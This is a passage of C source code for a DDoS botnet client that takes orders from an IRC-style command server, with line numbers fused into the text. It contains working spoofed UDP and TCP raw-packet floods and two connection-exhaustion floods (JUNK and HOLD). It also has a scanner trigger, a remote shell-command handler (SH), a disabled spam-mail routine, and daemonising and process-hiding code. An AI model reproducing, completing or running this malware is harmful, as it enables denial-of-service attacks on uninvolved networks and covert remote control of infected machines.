iph->tot_len);10931094int end = time(NULL) + timeEnd;1095register unsigned int i = 0;1096while(1)1097{1098sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));10991100udph->source = rand_cmwc();1101udph->dest = (port == 0 ? rand_cmwc() : htons(port));1102iph->id = rand_cmwc();1103iph->saddr = htonl( getRandomIP(netmask) );1104iph->check = csum ((unsigned short *) packet, iph->tot_len);11051106if(i == pollRegister)1107{1108if(time(NULL) > end) break;1109i = 0;1110continue;1111}1112i++;1113}1114}1115}11161117// _____ ___ ___ ___ _ _1118// /__ \/ __\ / _ \ / __\ | ___ ___ __| |1119// / /\/ / / /_)/ / _\ | |/ _ \ / _ \ / _` |1120// / / / /___/ ___/ / / | | (_) | (_) | (_| |1121// \/ \____/\/ \/ |_|\___/ \___/ \__,_|11221123void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)1124{1125register unsigned int pollRegister;1126pollRegister = pollinterval;11271128struct sockaddr_in dest_addr;11291130dest_addr.sin_family = AF_INET;1131if(port == 0) dest_addr.sin_port = rand_cmwc();1132else dest_addr.sin_port = htons(port);1133if(getHost(target, &dest_addr.sin_addr)) return;1134memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);11351136int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);1137if(!sockfd)1138{1139sockprintf(mainCommSock, "Failed opening raw socket.");1140return;1141}11421143int tmp = 1;1144if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)1145{1146sockprintf(mainCommSock, "Failed setting raw headers mode.");1147return;1148}11491150in_addr_t netmask;11511152if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );1153else netmask = ( ~((1 << (32 - spoofit)) - 1) );11541155unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];1156struct iphdr *iph = (struct iphdr *)packet;1157struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);11581159makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);11601161tcph->source = rand_cmwc();1162tcph->seq = rand_cmwc();1163tcph->ack_seq = 0;1164tcph->doff = 5;11651166if(!strcmp(flags, "all"))1167{1168tcph->syn = 1;1169tcph->rst = 1;1170tcph->fin = 1;1171tcph->ack = 1;1172tcph->psh = 1;1173} else {1174unsigned char *pch = strtok(flags, ",");1175while(pch)1176{1177if(!strcmp(pch, "syn"))1178{1179tcph->syn = 1;1180} else if(!strcmp(pch, "rst"))1181{1182tcph->rst = 1;1183} else if(!strcmp(pch, "fin"))1184{1185tcph->fin = 1;1186} else if(!strcmp(pch, "ack"))1187{1188tcph->ack = 1;1189} else if(!strcmp(pch, "psh"))1190{1191tcph->psh = 1;1192} else {1193sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);1194}1195pch = strtok(NULL, ",");1196}1197}11981199tcph->window = rand_cmwc();1200tcph->check = 0;1201tcph->urg_ptr = 0;1202tcph->dest = (port == 0 ? rand_cmwc() : htons(port));1203tcph->check = tcpcsum(iph, tcph);12041205iph->check = csum ((unsigned short *) packet, iph->tot_len);12061207int end = time(NULL) + timeEnd;1208register unsigned int i = 0;1209while(1)1210{1211sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));12121213iph->saddr = htonl( getRandomIP(netmask) );1214iph->id = rand_cmwc();1215tcph->seq = rand_cmwc();1216tcph->source = rand_cmwc();1217tcph->check = 0;1218tcph->check = tcpcsum(iph, tcph);1219iph->check = csum ((unsigned short *) packet, iph->tot_len);12201221if(i == pollRegister)1222{1223if(time(NULL) > end) break;1224i = 0;1225continue;1226}1227i++;1228}1229}123012311232// __ __ ___ _ _1233// \ \ /\ /\ /\ \ \/\ /\ / __\ | ___ ___ __| |1234// \ \/ / \ \/ \/ / //_/ / _\ | |/ _ \ / _ \ / _` |1235// /\_/ /\ \_/ / /\ / __ \ / / | | (_) | (_) | (_| |1236// \___/ \___/\_\ \/\/ \/ \/ |_|\___/ \___/ \__,_|12371238void sendJUNK(unsigned char *ip, int port, int end_time)1239{12401241int max = getdtablesize() / 2, i;12421243struct sockaddr_in dest_addr;1244dest_addr.sin_family = AF_INET;1245dest_addr.sin_port = htons(port);1246if(getHost(ip, &dest_addr.sin_addr)) return;1247memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);12481249struct state_t1250{1251int fd;1252uint8_t state;1253} fds[max];1254memset(fds, 0, max * (sizeof(int) + 1));12551256fd_set myset;1257struct timeval tv;1258socklen_t lon;1259int valopt, res;12601261unsigned char *watwat = malloc(1024);1262memset(watwat, 0, 1024);12631264int end = time(NULL) + end_time;1265while(end > time(NULL))1266{1267for(i = 0; i < max; i++)1268{1269switch(fds[i].state)1270{1271case 0:1272{1273fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);1274fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);1275if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);1276else fds[i].state = 1;1277}1278break;12791280case 1:1281{1282FD_ZERO(&myset);1283FD_SET(fds[i].fd, &myset);1284tv.tv_sec = 0;1285tv.tv_usec = 10000;1286res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);1287if(res == 1)1288{1289lon = sizeof(int);1290getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);1291if(valopt)1292{1293close(fds[i].fd);1294fds[i].state = 0;1295} else {1296fds[i].state = 2;1297}1298} else if(res == -1)1299{1300close(fds[i].fd);1301fds[i].state = 0;1302}1303}1304break;13051306case 2:1307{1308makeRandomStr(watwat, 1024);1309if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)1310{1311close(fds[i].fd);1312fds[i].state = 0;1313}1314}1315break;1316}1317}1318}1319}13201321// _ _ ___ _ _1322// /\ /\___ | | __| | / __\ | ___ ___ __| |1323// / /_/ / _ \| |/ _` | / _\ | |/ _ \ / _ \ / _` |1324// / __ / (_) | | (_| | / / | | (_) | (_) | (_| |1325// \/ /_/ \___/|_|\__,_| \/ |_|\___/ \___/ \__,_|13261327void sendHOLD(unsigned char *ip, int port, int end_time)1328{13291330int max = getdtablesize() / 2, i;13311332struct sockaddr_in dest_addr;1333dest_addr.sin_family = AF_INET;1334dest_addr.sin_port = htons(port);1335if(getHost(ip, &dest_addr.sin_addr)) return;1336memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);13371338struct state_t1339{1340int fd;1341uint8_t state;1342} fds[max];1343memset(fds, 0, max * (sizeof(int) + 1));13441345fd_set myset;1346struct timeval tv;1347socklen_t lon;1348int valopt, res;13491350unsigned char *watwat = malloc(1024);1351memset(watwat, 0, 1024);13521353int end = time(NULL) + end_time;1354while(end > time(NULL))1355{1356for(i = 0; i < max; i++)1357{1358switch(fds[i].state)1359{1360case 0:1361{1362fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);1363fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);1364if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);1365else fds[i].state = 1;1366}1367break;13681369case 1:1370{1371FD_ZERO(&myset);1372FD_SET(fds[i].fd, &myset);1373tv.tv_sec = 0;1374tv.tv_usec = 10000;1375res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);1376if(res == 1)1377{1378lon = sizeof(int);1379getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);1380if(valopt)1381{1382close(fds[i].fd);1383fds[i].state = 0;1384} else {1385fds[i].state = 2;1386}1387} else if(res == -1)1388{1389close(fds[i].fd);1390fds[i].state = 0;1391}1392}1393break;13941395case 2:1396{1397FD_ZERO(&myset);1398FD_SET(fds[i].fd, &myset);1399tv.tv_sec = 0;1400tv.tv_usec = 10000;1401res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);1402if(res != 0)1403{1404close(fds[i].fd);1405fds[i].state = 0;1406}1407}1408break;1409}1410}1411}1412}14131414/*1415// __ _ __ _ _1416// / _\ ___ _ __ __| | /__\ __ ___ __ _(_) |1417// \ \ / _ \ '_ \ / _` | /_\| '_ ` _ \ / _` | | |1418// _\ \ __/ | | | (_| | //__| | | | | | (_| | | |1419// \__/\___|_| |_|\__,_| \__/|_| |_| |_|\__,_|_|_|14201421void sendEmail(unsigned char *email, unsigned char *host, unsigned char *subject, unsigned char *message)1422{1423unsigned char buffer[1024];1424memset(buffer, 0, 1024);14251426int fd = socket(AF_INET, SOCK_STREAM, 0);1427if(!connectTimeout(fd, host, 25, 30)) { close(fd); return; }1428if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }1429if(strstr(buffer, "220 ") == NULL) { close(fd); return; }14301431if(send(fd, "HELO rastrent.com\r\n", 19, MSG_NOSIGNAL) != 19) { close(fd); return; }1432if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }1433if(strstr(buffer, "250 ") == NULL) { close(fd); return; }1434memset(buffer, 0, 1024);14351436if(send(fd, "MAIL FROM: <[email protected]>\r\n", 33, MSG_NOSIGNAL) != 33) { close(fd); return; }1437if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }1438if(strstr(buffer, "250 ") == NULL) { close(fd); return; }1439memset(buffer, 0, 1024);14401441if(send(fd, "RCPT TO: <", 10, MSG_NOSIGNAL) != 10) { close(fd); return; }1442if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }1443if(send(fd, ">\r\n", 3, MSG_NOSIGNAL) != 3) { close(fd); return; }1444if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }1445if(strstr(buffer, "250 ") == NULL) { close(fd); return; }1446memset(buffer, 0, 1024);14471448if(send(fd, "DATA\r\n", 6, MSG_NOSIGNAL) != 6) { close(fd); return; }1449if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }1450if(strstr(buffer, "354 ") == NULL) { close(fd); return; }1451memset(buffer, 0, 1024);14521453if(send(fd, "To: ", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }1454if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }1455if(send(fd, "\r\nFrom: [email protected]\r\nSubject: ", 38, MSG_NOSIGNAL) != 38) { close(fd); return; }1456if(send(fd, subject, strlen(subject), MSG_NOSIGNAL) != strlen(subject)) { close(fd); return; }1457if(send(fd, "\r\n\r\n", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }1458if(send(fd, message, strlen(message), MSG_NOSIGNAL) != strlen(message)) { close(fd); return; }1459if(send(fd, "\r\n.\r\n", 5, MSG_NOSIGNAL) != 5) { close(fd); return; }1460if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }1461if(strstr(buffer, "250 ") == NULL) { close(fd); return; }1462memset(buffer, 0, 1024);14631464send(fd, "QUIT\r\n", 6, MSG_NOSIGNAL);14651466close(fd);1467return;1468} */14691470// _____ __ ___ _1471// \_ \/__\ / __\ /\/\ __ _(_)_ __1472// / /\/ \// / / / \ / _` | | '_ \1473// /\/ /_/ _ \/ /___ / /\/\ \ (_| | | | | |1474// \____/\/ \_/\____/ \/ \/\__,_|_|_| |_|14751476void processCmd(int argc, unsigned char *argv[])1477{1478int x;1479if(!strcmp(argv[0], "PING"))1480{1481sockprintf(mainCommSock, "PONG!");1482return;1483}14841485if(!strcmp(argv[0], "GETLOCALIP"))1486{1487sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));1488return;1489}14901491if(!strcmp(argv[0], "SCANNER"))1492{1493if(argc != 2)1494{1495sockprintf(mainCommSock, "SCANNER ON | OFF");1496return;1497}14981499if(!strcmp(argv[1], "OFF"))1500{1501if(scanPid == 0) return;1502kill(scanPid, 9);1503printf("SCANNER STOPPED!\n");1504scanPid = 0;1505}15061507if(!strcmp(argv[1], "ON"))1508{1509if(scanPid != 0) return;1510uint32_t parent;1511parent = fork();1512printf("SCANNER STARTED!\n");1513if (parent > 0) { scanPid = parent; return;}1514else if(parent == -1) return;15151516StartTheLelz();1517_exit(0);1518}1519}1520/*15211522if(!strcmp(argv[0], "EMAIL"))1523{1524if(argc < 5)1525{1526//sockprintf(mainCommSock, "EMAIL <target email> <mx host> <subject no spaces> <message no spaces>");1527return;1528}15291530unsigned char *target = argv[1];1531unsigned char *host = argv[2];1532unsigned char *subject = argv[3];1533unsigned char *message = argv[4];15341535if (listFork()) { return; }15361537sendEmail(target, host, subject, message);1538close(mainCommSock);15391540_exit(0);1541}1542*/15431544if(!strcmp(argv[0], "HOLD"))1545{1546if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)1547{1548//sockprintf(mainCommSock, "HOLD <ip> <port> <time>");1549return;1550}15511552unsigned char *ip = argv[1];1553int port = atoi(argv[2]);1554int time = atoi(argv[3]);15551556if(strstr(ip, ",") != NULL)1557{1558unsigned char *hi = strtok(ip, ",");1559while(hi != NULL)1560{1561if(!listFork())1562{1563sendHOLD(hi, port, time);1564_exit(0);1565}1566hi = strtok(NULL, ",");1567}1568} else {1569if (listFork()) { return; }15701571sendHOLD(ip, port, time);1572_exit(0);1573}1574}15751576if(!strcmp(argv[0], "JUNK"))1577{1578if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)1579{1580//sockprintf(mainCommSock, "JUNK <ip> <port> <time>");1581return;1582}15831584unsigned char *ip = argv[1];1585int port = atoi(argv[2]);1586int time = atoi(argv[3]);15871588if(strstr(ip, ",") != NULL)1589{1590unsigned char *hi = strtok(ip, ",");1591while(hi != NULL)1592{1593if(!listFork())1594{1595sendJUNK(hi, port, time);1596close(mainCommSock);1597_exit(0);1598}1599hi = strtok(NULL, ",");1600}1601} else {1602if (listFork()) { return; }16031604sendJUNK(ip, port, time);1605_exit(0);1606}1607}16081609if(!strcmp(argv[0], "UDP"))1610{1611if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))1612{1613//sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");1614return;1615}16161617unsigned char *ip = argv[1];1618int port = atoi(argv[2]);1619int time = atoi(argv[3]);1620int spoofed = atoi(argv[4]);1621int packetsize = atoi(argv[5]);1622int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);16231624if(strstr(ip, ",") != NULL)1625{1626unsigned char *hi = strtok(ip, ",");1627while(hi != NULL)1628{1629if(!listFork())1630{1631sendUDP(hi, port, time, spoofed, packetsize, pollinterval);1632_exit(0);1633}1634hi = strtok(NULL, ",");1635}1636} else {1637if (listFork()) { return; }16381639sendUDP(ip, port, time, spoofed, packetsize, pollinterval);1640_exit(0);1641}1642}16431644if(!strcmp(argv[0], "TCP"))1645{1646if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))1647{1648//sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");1649return;1650}16511652unsigned char *ip = argv[1];1653int port = atoi(argv[2]);1654int time = atoi(argv[3]);1655int spoofed = atoi(argv[4]);1656unsigned char *flags = argv[5];16571658int pollinterval = argc == 8 ? atoi(argv[7]) : 10;1659int psize = argc > 6 ? atoi(argv[6]) : 0;16601661if(strstr(ip, ",") != NULL)1662{1663unsigned char *hi = strtok(ip, ",");1664while(hi != NULL)1665{1666if(!listFork())1667{1668sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);1669_exit(0);1670}1671hi = strtok(NULL, ",");1672}1673} else {1674if (listFork()) { return; }16751676sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);1677_exit(0);1678}1679}16801681if(!strcmp(argv[0], "KILLATTK"))1682{1683int killed = 0;1684unsigned long i;1685for (i = 0; i < numpids; i++) {1686if (pids[i] != 0 && pids[i] != getpid()) {1687kill(pids[i], 9);1688killed++;1689}1690}16911692if(killed > 0)1693{1694//sockprintf(mainCommSock, "Killed %d.", killed);1695} else {1696//sockprintf(mainCommSock, "None Killed.");1697}1698}16991700if(!strcmp(argv[0], "LOLNOGTFO"))1701{1702exit(0);1703}1704}17051706int initConnection()1707{1708unsigned char server[4096];1709memset(server, 0, 4096);1710if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat1711if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;1712else currentServer++;17131714strcpy(server, commServer[currentServer]);1715int port = 6667;1716if(strchr(server, ':') != NULL)1717{1718port = atoi(strchr(server, ':') + 1);1719*((unsigned char *)(strchr(server, ':'))) = 0x0;1720}17211722mainCommSock = socket(AF_INET, SOCK_STREAM, 0);17231724if(!connectTimeout(mainCommSock, server, port, 30)) return 1;17251726return 0;1727}17281729int getOurIP()1730{1731int sock = socket(AF_INET, SOCK_DGRAM, 0);1732if(sock == -1) return 0;17331734struct sockaddr_in serv;1735memset(&serv, 0, sizeof(serv));1736serv.sin_family = AF_INET;1737serv.sin_addr.s_addr = inet_addr("8.8.8.8");1738serv.sin_port = htons(53);17391740int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));1741if(err == -1) return 0;17421743struct sockaddr_in name;1744socklen_t namelen = sizeof(name);1745err = getsockname(sock, (struct sockaddr*) &name, &namelen);1746if(err == -1) return 0;17471748ourIP.s_addr = name.sin_addr.s_addr;17491750int cmdline = open("/proc/net/route", O_RDONLY);1751char linebuf[4096];1752while(fdgets(linebuf, 4096, cmdline) != NULL)1753{1754if(strstr(linebuf, "\t00000000\t") != NULL)1755{1756unsigned char *pos = linebuf;1757while(*pos != '\t') pos++;1758*pos = 0;1759break;1760}1761memset(linebuf, 0, 4096);1762}1763close(cmdline);17641765if(*linebuf)1766{1767int i;1768struct ifreq ifr;1769strcpy(ifr.ifr_name, linebuf);1770ioctl(sock, SIOCGIFHWADDR, &ifr);1771for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];1772}17731774close(sock);1775}17761777char *getBuild()1778{1779#ifdef MIPS_BUILD1780return "MIPS";1781#elif MIPSEL_BUILD1782return "MIPSEL";1783#elif X86_BUILD1784return "X86";1785#elif ARM_BUILD1786return "ARM";1787#elif PPC_BUILD1788return "POWERPC";1789#else1790return "ART OF WAR";1791#endif1792}17931794int main(int argc, unsigned char *argv[])1795{1796char *mynameis = "";1797if(SERVER_LIST_SIZE <= 0) return 0;1798printf("BUILD %s\n", getBuild());1799strncpy(argv[0],"",strlen(argv[0]));1800argv[0] = "";1801prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);1802srand(time(NULL) ^ getpid());1803init_rand(time(NULL) ^ getpid());1804pid_t pid1;1805pid_t pid2;1806int status;18071808getOurIP();18091810if (pid1 = fork()) {1811waitpid(pid1, &status, 0);1812exit(0);1813} else if (!pid1) {1814if (pid2 = fork()) {1815exit(0);1816} else if (!pid2) {1817} else {1818//zprintf("fork failed\n");1819}1820} else {1821//zprintf("fork failed\n");1822}18231824setsid();1825chdir("/");18261827signal(SIGPIPE, SIG_IGN);18281829while(1)1830{1831if(initConnection()) { sleep(5); continue; }18321833sockprintf(mainCommSock, "BUILD %s", getBuild());18341835char commBuf[4096];1836int got = 0;1837int i = 0;1838while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)1839{1840for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {1841unsigned int *newpids, on;1842for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];1843pids[on - 1] = 0;1844numpids--;1845newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));1846for (on = 0; on < numpids; on++) newpids[on] = pids[on];1847free(pids);1848pids = newpids;1849}18501851commBuf[got] = 0x00;18521853trim(commBuf);18541855if(strstr(commBuf, "PING") == commBuf)1856{1857sockprintf(mainCommSock, "PONG");1858continue;1859}18601861if(strstr(commBuf, "DUP") == commBuf) exit(0);18621863unsigned char *message = commBuf;18641865if(*message == '!')1866{1867unsigned char *nickMask = message + 1;1868while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;1869if(*nickMask == 0x00) continue;1870*(nickMask) = 0x00;1871nickMask = message + 1;18721873message = message + strlen(nickMask) + 2;1874while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;18751876unsigned char *command = message;1877while(*message != ' ' && *message != 0x00) message++;1878*message = 0x00;1879message++;18801881unsigned char *tmpcommand = command;1882while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }18831884if(strcmp(command, "SH") == 0)1885{1886unsigned char buf[1024];1887int command;1888if (listFork()) continue;1889memset(buf, 0, 1024);1890szprintf(buf, "%s 2>&1", message);1891command = fdpopen(buf, "r");1892while(fdgets(buf, 1024, command) != NULL)1893{1894trim(buf);1895// sockprintf(mainCommSock, "%s", buf);1896memset(buf, 0, 1024);1897sleep(1);1898}1899fdpclose(command);1900exit(0);1901}19021903unsigned char *params[10];1904int paramsCount = 1;1905unsigned char *pch = strtok(message, " ");1906params[0] = command;19071908while(pch)1909{1910if(*pch != '\n')1911{1912params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);1913memset(params[paramsCount], 0, strlen(pch) + 1);1914strcpy(params[paramsCount], pch);1915paramsCount++;1916}1917pch = strtok(NULL, " ");1918}19191920processCmd(paramsCount, params);19211922if(paramsCount > 1)1923{1924int q = 1;1925for(q = 1; q < paramsCount; q++)1926{1927free(params[q]);1928}1929}1930}1931}1932//printf("Link closed by server.\n");1933}19341935return 0;1936}19371938